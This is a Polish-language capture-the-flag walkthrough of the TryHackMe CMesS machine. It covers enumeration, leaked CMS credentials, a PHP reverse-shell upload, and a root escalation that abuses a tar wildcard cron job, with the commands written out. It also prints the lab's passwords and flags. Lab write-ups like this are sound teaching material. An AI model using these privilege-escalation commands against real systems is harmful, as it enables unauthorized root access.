Please add `10.10.87.165 cmess.thm` to /etc/hosts
Please also note that this box does not require brute forcing!
NMap
┌[parrot@parrot]─[~/tryhackme/cmess]
└╼[★ ]$nmap -sC -sV cmess.thm
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-02 02:01 CEST
Nmap scan report for cmess.thm (10.10.87.165)
Host is up (0.066s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d9:b6:52:d3:93:9a:38:50:b4:23:3b:fd:21:0c:05:1f (RSA)
| 256 21:c3:6e:31:8b:85:22:8a:6d:72:86:8f:ae:64:66:2b (ECDSA)
|_ 256 5b:b9:75:78:05:d7:ec:43:30:96:17:ff:c6:a8:6c:ed (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesnt have a title (text/html; charset=UTF-8).
|_http-generator: Gila CMS
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-robots.txt: 3 disallowed entries
|_/src/ /themes/ /lib/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NMap wykrył dwa otwarte porty - 22
oraz 80
.
Strona główna
Sprawdziłem dokładnie stronę. Szukałem numeru wersji tego CMS, ale nie znalazłem. Użyłem również FeroxBustera
, ale podobnie nie znalazłem nic ciekawego. Postanowiłem sprawdzić jeszcze inne subdomeny. Dostaliśmy na początku informację o cmess.thm
, zatem jest szansa, że są jeszcze jakieś inne.
Enumeracja subdomen
┌[parrot@parrot]─[~/tryhackme/cmess]
└╼[★ ]$wfuzz -c -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt --hc 400,404,403 -H "Host: FUZZ.cmess.thm" -u http://cmess.thm -t 100 --hw 290
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://cmess.thm/
Total requests: 4989
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000019: 200 30 L 104 W 934 Ch "dev"
Total time: 0
Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 0
Faktycznie znalazłem jedną odkrytą subdomenę dev
. Zatem dodałem ją do /etc/hosts
. Po wejściu na stronę zobaczyłem rozmowę usera andre
z supportem. Poniżej widać hasło.
Spróbowałem użyć danych do zalogowania się. Z powodzeniem 👌
andre@cmess.thm
KPFTN_f2yxe%
Zacząłem przeglądać CMS w poszukiwaniu jakiegoś uploadu/modyfikacji plików i znalazłem…
Tak wyglądają pliki CMS. Od razu zauważyłem plik config.php
i znalazłem tam kolejne dane.
Ale postanowiłem zrobić połączenie z użyciem mojego php-reverse-shella.
Plik został zuploadowany i po wejściu cmess.thm/assets/shell.php
oraz nasłuchu na porcie 1234
, dostałem połączenie.
www-data
Zacząłem od ustabilizowania shella.
/usr/bin/script -qc /bin/bash /dev/null
Wejście na usera andre
było banalne. Zacząłem sprawdzać pliki i znalazłem w /opt
coś ciekawego.
W pliku .password.bak
był backup hasła. Przy użyciu takich danych dostałem się na usera.
andre
UQfsdCB7aAP6
user.txt
thm{c529b5d5d6ab6b430b7eb1903b2b5e1b}
root
LinPEAS wykrył podatność w cronie.
Widzimy wildcarda *
w tar
, który wykonuje się w /home/andre/backup
. Można wykorzystać to i uzyskać roota. Ja dla prostoty dodałem bit SUID do /bin/bash
.
Oczywiście teraz /bin/bash
nie ma SUID.
cd /home/andre/backup
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
echo "chmod +s /bin/bash" > shell.sh
chmod +x shell.sh
touch a
/bin/bash -p
root.txt
thm{9f85b7fdeb2cf96985bf5761a93546a2}
Root proof